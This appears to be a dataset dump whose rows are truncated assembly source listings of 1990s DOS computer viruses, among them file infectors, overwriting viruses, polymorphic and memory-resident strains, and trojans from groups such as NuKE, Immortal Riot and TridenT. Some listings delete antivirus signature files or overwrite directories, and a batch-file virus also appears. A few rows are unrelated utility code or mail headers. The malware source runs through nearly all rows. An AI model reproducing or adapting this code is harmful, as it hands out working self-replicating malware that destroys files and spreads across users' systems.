text stringlengths 0 20k |
|---|
BAC segment para public 'code'
assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING
org 100h ; .COM format
BEGIN:
jmp CODE_START ; Jump around data declarations
DECLARE: ; Messages, Storage Areas, Equates
COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.'
db 13,10,'$'
PATH_FILE_LEN equ 77 ;Length = 1, Path = 63... |
From smtp Tue Feb 7 13:16 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
Date: Tue, 7 Feb 1995 13:19:38 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-L... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: BITTER.ASM
; Bitter by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'EF'
.model tiny
.code
; Assemble with... |
; Byteme Appending Note Vir -- Byte Me, Dude....
; Written by The Weasel!
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
; NAME: Basho.com
; SIZE: 431 bytes
; AUTHOR: Sea4
; TYPE: Appending in a weird way.
; ENCRYPTION: No
; DT: Yes
; STEALTH: No
; REPAIRABLE: Yes
; PAYLOAD: Yes
; RESIDENT: No
; ROI: 4 files per run
; POLYMORPHIC: No
; Explanation.
; Its not very easy to understand at first glance how it even possibly works.
; But th... |
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and thereby modify other programs
;
; Added A86 v3.22 compatibility 15 Dec 1991
; command line: a86 burger.asm burger.com +D
; Copyright (C) 1991 ==... |
virus segment
assume cs:virus,ds:virus,es:nothing
org 100h
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
vstart equ $
call code_start ; call codie_startie
code_start:
pop si
sub si,offset code_start ; so we can use the lea command etc
jm... |
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
start: mov ah,4Eh ; find first file
recurse:
mov dx,0123h ; matching filemask, "*.*"
int 21h
db 72... |
; -
; One/Thirteenth - coded by irogen [NuKE] on 02-23-95
; -
; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector
; -Deletes Invircible Signature Files from disk no matter what name
; they are under.
; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS.
; -Avoids Infecting InVircible Bait... |
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int ... |
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.8 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
... |
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
F... |
; ------------------------------------------------------------
; -- The OneLine Virus --
; -- By Arsonic[CodeBreakers] --
; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
; ------------------------------------------------------------
; ... |
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xch... |
;
; Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ
; Ĵ
;
; Ŀ Ŀ Ŀ Ŀ
; Ŀ Ĵ Ŀ
;
;
; ...from the books of pAgE
;
.model tiny
.code
org 100h
depth_of_well equ longer_than-my_dick
my_dick:
... |
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp O... |
;
; Micro-31
;
; Infects as many files as there are handles aveable. It creates 158 byte
; file containing a replicating copy of the virus. The effective program
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
; and Gobbler II.
;
FNAM Equ 09eh
Main: Mov Ah,4eh
Seek: ... |
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp O... |
;-------------------------------------------------------------------------
; OSPRING.COM - Make sure you compile this to a COM file
; - Compatible with A86 v3.22
; OFFSPRING I - By VG Enterprises (Virogen)
;
; NOTICE : Don't hold me responsible for any damages, or the release
; of this virus. Use ... |
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*... |
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.82 - BY VIROGEN - 09-06-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;... |
; Otto #6 Virus, By Youth Against McAfee
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
; Infectious Diseases 3 and some other uses...
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
; TLINK /t otto5.obj
; The assembled code will NOT execute... a big th... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
... |
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
; TYPE: Appending
; ENCRYPTION: Yes ( Double )
; INFECTS: COM
; RESIDENT: No
; STEALTH: No
; DT: No ( Directory Transversal )
; REPAIRABLE: Yes
; PAYLOAD: No
; SIZE: 328 bytes
; AUTHOR: The Virus Elf
; Appe... |
; OMEGA.ASM -- Omega: The End
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Noinger
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start l... |
comment *
Older version of Bad Bug, also known as Ontario virus.
--> Written by Death Angel <--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This virus first puts itself in memory, if not already. Infects the
C:\COMMAND.COM file, then infects other files as they... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
... |
PAGE 59,132
;
;
; OMEGA
;
; Created: 4-Dec-91
;
; Disassembled by -=>Wasp<=- aka >>Night Crawler<<
; ... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*... |
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or... |
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Odessa.B virus
; (C) Opic [CodeBreakers '98]
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Odessa.B variant is a continuation of Odessa (aka opic.727)
;
;Odessa... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21... |
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*... |
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int ... |
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
ORG 9H*4 ;The keyboard Interrupt
KEYBOARD_INT_VECTOR LABEL DWORD
ORG 1CH*4 ;Timer Interrupt
TIMER_VECTOR LABEL DWORD
VECTORS ENDS
ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in ... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21... |
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;... |
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Db '*.*',0
Main: Mov Ah,4eh
Mov Dx,Cx
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
Mov Bh,40h
Xchg Cx,D... |
Lea Dx,Fs
Mov Ah,78
Int 33
Mov Dx,9eh
Mov Ah,61
o1: Int 33
Xchg Ax,Bx
Mov Dl,27
FS Db '*.*',0
Xchg Cx,Dx
Mov Ah,64
Jmp o1
|
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
F... |
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*... |
;******************************************************************************
; Otto Virus
;
; Disassembled by Data Disruptor
; (c) 1992 RABID International Development
; (May.12.92)
;
; Original virus written by YAM (Youth Against McAfee) 1992
;
; Notes: Otto Schtuck (Pardon the spelling?)... |
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
... |
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
... |
Code Segment
Assume CS:Code
Old13 = 9Ch
True13 = 9Dh
Saved21 = 9Eh
Temp13 = 9Fh
VStart: loop Next ; Virus ID
Next: push ax
mov di,13h * 4
push di
xor bp,bp
mov ds,bp
les bx,[di]
mov di,True13 * 4
mov [di-4],bx
mov [di-2],es
mov ah,13h
int 2Fh
push es
push bx
int 2Fh
mov es,bp
mo... |
; Binary Obsession Cleaner
; - By Ratman -
data_18e equ 9CDh ;*
data_19e equ 4F43h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
irm_kill proc ... |
; INTRVIEW.ASM -- Skywalker Trojan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Serpico
virus_type equ 3 ; Trojan Horse
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label n... |
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-J... |
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-Jun... |
;
;
; Internal Overlay
; by Tcp/29A
;
;
;
; Here you have a virus i wrote some time ago... an old but still... |
; VirusName: Infernal Demand
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 10/08/1993
;
;
; This is our (Metal Militia's) very first scratch virus. It's just
; an overwriting one. It overwrites the first 999 bytes in exe/com
; files. (Write protected/hidden files are also "infected"). Thi... |
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ ... |
;
; InVircible Signature File Scanner for v6.02, (c)1995 irogen [NuKE]
;
; Zvi changed his signature files a little in v6.02; although all the
; documentation says that he changed it in v6.01d, I never noticed a change
; until this new version. Anywayz, what he did was simply change his little
; verification word to o... |
;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
;confines itself to the current directory. To assemble with TASM 2.5, user
;must have complete MTE091B software package (including RND.OBJ,
;MTE.OBJ and stubfile, NOPS.BIN). Use MAK... |
DOSCALL SEGMENT 'CODE'
ASSUME CS:DOSCALL,DS:DOSCALL
;
;Procedure DOSVIO(VAR: AX, BX, CX, DX: Word);
;
; Issue a DOS VIDEO I/O INT (10) with register values set by caller
;
; FRAME: ADR AX; 12
; ADR BX; 10
; ADR CX; 08
; ADR DX; 06
; <RET BP>; 00
;
PUBLIC DO... |
; Virusname : Invisible Evil
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a memory resident, stealth, infector of com files.
; It check for two nops a bit after the jmp to see if it's already
; infected or not, and to stealth it, it'll check the seconds.
; No destructive ro... |
; ------------------------------------------------------------------------------
;
; - Intellectual Overdoze -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
;------------------------------------------------------------------... |
PAGE 59,132
;
;
; IGOR
;
; Created: 12-Jul-92
; Passes: 5 Analysis Options on: none
; (c) 1992 by Igor Ratzkopf - All Right... |
;Icecream Virus by the TridenT virus research group.
;This is a simple direct-action com virus that uses one of
;4 encryption algorithms to encrypt itself each time it infects a file.
;It will infect one .COM file in the current directory every time it is
;executed. It marks infections with the time stamp.
;Disass... |
; -
; Iceburn - (c)1995 irogen - Using iCE v0.2
; -
;
; Infects COM and EXE when executed.
; COM Infection marker: fourth byte is 0
; EXE infection marker: Checksum in header not equal to 0.
; Time/Date do not change
; Read-only and hidden files will be infected, and attributes restored.
; Virus installs its ow... |
; Itti-Bitty Virus, Strain A
; The world's smallest virus (except for Strain B, but still only 161 bytes)
;
; (C) 1991 Nowhere Man and [NuKE] WaErZ
; Written by Nowhere Man
title "The Itti-Bitty Virus, Strain A: The smallest virus ever"
code segment 'CODE'
assume cs:code,ds:code,es:code... |
; -
; Icemelt - (c)1995 irogen - Using iCE v0.2
; -
;
; Infects COM and EXE when executed.
; COM Infection marker: fourth byte is 0
; EXE infection marker: Checksum in header not equal to 0.
; Time/Date do not change
; Read-only and hidden files will be infected, and attributes restored.
; Virus installs its ow... |
; Virusname: IR.144
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Ok, this is not one of the very tiny viruses out there today, but to
; date this is the smallest one I've ever made and since I never really
; care about size when I write my creations I think thisone's pretty ok.
; There are others ou... |
; Interface to RS232INT.EXE module
CODESEG SEGMENT PARA PUBLIC 'CODE'
PUBLIC REFRESH
PUBLIC SETSENSE
PUBLIC SENDBREAK
PUBLIC BUFSIZE
PUBLIC RECEIVE
PUBLIC SEND
;
; TABLE OFF ADDRESSES TO BE FILLED FOR JUMPS
SZ DW 0
FIRST DW ?
SB DW 10H
DW ?
BF ... |
;
; InVircible v6.02 Registrator, (c)1995 irogen
;
; This little utility simply installs InVircible's registration key onto
; your hard drive. It is located on the last sector of the first cylinder
; and is designated by the word 48A5h residing at the end of the sector.
; After installing this, all current and future c... |
start segment
assume cs:start,ds:start
boot equ 1000h
push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,201h
mov dx,0
mov cx,1
int 13h
pop bx
jnc t... |
; The Itti-Bitty Virus, Strain B
; The smallest virus ever written (only 99 bytes)
;
; (C) 1991 Nowhere Man and [NuKE] WaErZ
; Written by Nowhere Man
;
;
title "The Itti-Bitty Virus, Strain B: Even smaller"
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org ... |
IcH
@echo off %-IcH%
if "%0=="IcH goto iIcH
if not exist %0.Bat goto IcH
find "IcH"<%0.BatIcH.Bat
for %%J in (..\*.bat *.bat) do call IcH %%J
del IcH.*
:: [IcH] by Techno Phunk
goto IcH
:iIcH
find "IcH"<%1nul
if not errorlevel 1 goto IcH
copy %0.Bat+%1 IcH|type IcH%1
:IcH |
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
Xref: netcom.com alt.comp.virus:489
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!... |
; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus ... |
; -
; IVKiller - (c)1995 irogen - Using iCE v0.2
; -
;
; This is yet another virus in what I call my Feb '95 series. Anywayz, this
; virus's main point is that it candelete Invircible signature files.
; Something I haven't seen included with any other viruses.
;
; Polymorphic utilizing ViCE v0.2. JMPS on, Anti-TBSCA... |
cr equ 13 ; This VIRUS was written 12-14-1992
lf equ 10 ; AND QUIT READING MY SOURCE CODE
tab equ 9 ; YOU SHITHEAD FUCKNOSE DOUCHE BAG
virus_size equ 1973 ; QUEERBAIT VIRUS TRACKER WANNA-BE!
code_start ... |
; toys.asm : Unknown by Unknown
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
... |
SEG_A segment byte public
assume cs:seg_a,ds:seg_a
org 100h
MULTIPLEXOR proc far
start:
jmp BEGIN
MULTIPLEXOR endp
; Subroutine work on the DOS Int2Fh (Multiplexor)
; It stay rezident and calling Old Int2Fh, if don't call FnBAh.
; Functions (ah=BAh): Return:
;
; al=0 ... |
TITLE The Carcharias taurus 2.0
.MODEL Tiny
.CODE
.STARTUP
; Some Constants -------------------------------------------------------------
DogSize equ 584-16-6
; ----------------------------------------------------------------------------
db 0E9h ; JMP Loader
dw 3
db 0
dw 0256h
; *********************... |
; test1.asm : Test virus #1
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0F43Fh
PONG equ 0B1DEh
STAMP equ 26
MARKER equ 07070h
code segment
org 0
assume cs:code,ds:code
start:
... |
PAGE 59,132
;
;
; S
;
; Created: 4-Aug-90
; Version:
; Passes: 9 Analysis Options on: H
;
;
;
data_2e equ 1ABh ; (946E:01AB=0)
seg_a segment byte... |
PAGE ,132
tinyv SEGMENT BYTE PUBLIC 'code'
ASSUME CS:tinyv
ASSUME SS:tinyv
ASSUME DS:tinyv
H00000 DB 0
H00001 DB 255 DUP(?)
program PROC FAR
ASSUME ES:tinyv
begin:
JMP pgstart ; start program
exlbl LABEL BYTE
db 0CDh, 20h, 7, 8, 9
p... |
; Virus generated by G 0.70
; G written by Dark Angel of Phalcon/Skism
; File: TARGET.ASM
; [G Virus] by Phalcon/Skism
checkres1 = 'FF'
checkres2 = 'FF'
id = 'FF'
.model tiny
.code
; As... |
;LiquidCode --- T3
;
; Virus
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |
n... |
page ,132
name TINY198
title The 'Tiny' virus, version TINY-198
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Tiny' Virus, version TINY-198
; D... |
;------------------------------------------------------------------------------;
; ;
; Tony-F ;
; ;
;... |
;*****************************************************************************
; The High Evolutionary's INT 13 Trojan
;*****************************************************************************
;
; Development Notes:
; (Dec.1O.9O)
;
; Well, I was screwing around with TSR's the other day and I g... |
PAGE 59,132
;
;
; TWELVE
;
; Created: 26-Apr-90
; Version: ... |
; NOTE : This template is for .COM files only do not use for .EXE files!!
;
;
;
; Copyright 1986 by Dana Nowell - All rights reserved
;
; HISTORY:
; Version Date Name Description
; 1.0 11/10/86 dn first cut
; 1.01 11/21/86 dn Fixed memory al... |
page ,132
name TINY134
title The 'Tiny' virus, version TINY-134
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Tiny' Virus, version TINY-134
; Disa... |
page ,132
name TINY167
title The 'Tiny' virus, version TINY-167
.radix 16
; ͻ
; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51
; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
;
; The 'Tiny' Virus, version TINY-167
; D... |
PAGE ,132
title \asm_sour\timer.asm HIGH ACCURACY TIMER
subttl michael e. walraven
.MODEL MEDIUM
name timer
.cref
.lall
;
; High resolution timer, returns a 32 bit high resolution
; value which is the amount of elapsed time since the function
; was last called. The counts are 838.2ns each (1.19318 MHz)
; time_int... |
VSize = 085h
Code Segment
Assume CS:Code
Org 600h
Bytes db 0CDh,20h,90h,90h
Start: mov si, 0100h
mov bx, offset Int21
mov cx, 0050h
mov di, si
add si, [si+2]
push di
movsw
movsw
mov es, cx
cmpsb
je StartFile
dec si
dec di
rep movsw
mov es, cx
xchg ax, bx
xchg ax, cx
Loop0: xch... |
; test2.asm : Test virus #2
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0A6CFh
INFECT equ 2
MARKER equ 08080h
code segment
org 100h
assume cs:code,ds:code
start:
db 0E9h,3,0 ... |
;22 Byte Trivial Virus
;Use WASM to assemble
org 100h
db '*.*',0
mov ah,4eh
Again
mov dx,si
int 21h
mov ah,3ch
mov dx,9eh
int 21h
xchg bx,ax
mov ah,40h
jmps Again
|
;*************************************************************
;** Terminate-but-Stay-Resident **
;** Original from the "Programmer's Journal" **
;** Modified by Alroger L. Gomes Jr. **
;** Any comments/question send message for "Roger Gomes" **
;** ... |
tinyv SEGMENT BYTE PUBLIC 'code'
ASSUME CS:tinyv
ASSUME SS:tinyv
ASSUME DS:tinyv
H00000 DB 0
H00001 DB 255 DUP(?)
program PROC FAR
ASSUME ES:tinyv
begin:
JMP pgstart ; start program
exlbl LABEL BYTE
db 0CDh, 20h, 7, 8, 9
pgstart:
... |
;
; Virus Lession #2 'How to make a non-resident EXE infector'
;
; (c) 1992 Tormentor // Demoralized Youth
;
; Well, I had not time to comment this code as much as I wanted to,
; but here you are.
; What can be hard to understand is the .EXE header changes, but if
; you look at the description on the header (ex: Nort... |
;
; T-1400 Virus
;
; This is a non-resident overwriting self-encrypting semi-mutating .COM file
; infector. When an infected program is run, the virus will infect all the
; file in the current directory and displays a TridenT logo when finished with
; infecting. This is a bit more advanced virus than "T-1300" and a wil... |
;
; Thunderdome virus by John Tardy / TridenT
;
Org 0h
decr: jmp Crypt
db 'Carcass'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt: Push Ax
call Get_Ofs
Get_Ofs: pop Bp
sub Bp,Get_Ofs
... |
page 65,132
title The 'Typo' Virus
; ͻ
; British Computer Virus Research Centre
; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England
; Telephone: Domestic 0273-26105, International +44-273-26105
; ... |
PAGE ,132
tinyv SEGMENT BYTE PUBLIC 'code'
ASSUME CS:tinyv
ASSUME SS:tinyv
ASSUME DS:tinyv
H00000 DB 0
H00001 DB 255 DUP(?)
program PROC FAR
ASSUME ES:tinyv
begin:
JMP pgstart ; start program
exlbl LABEL BYTE
db 0CDh, 20h, 7, 8, 9
p... |
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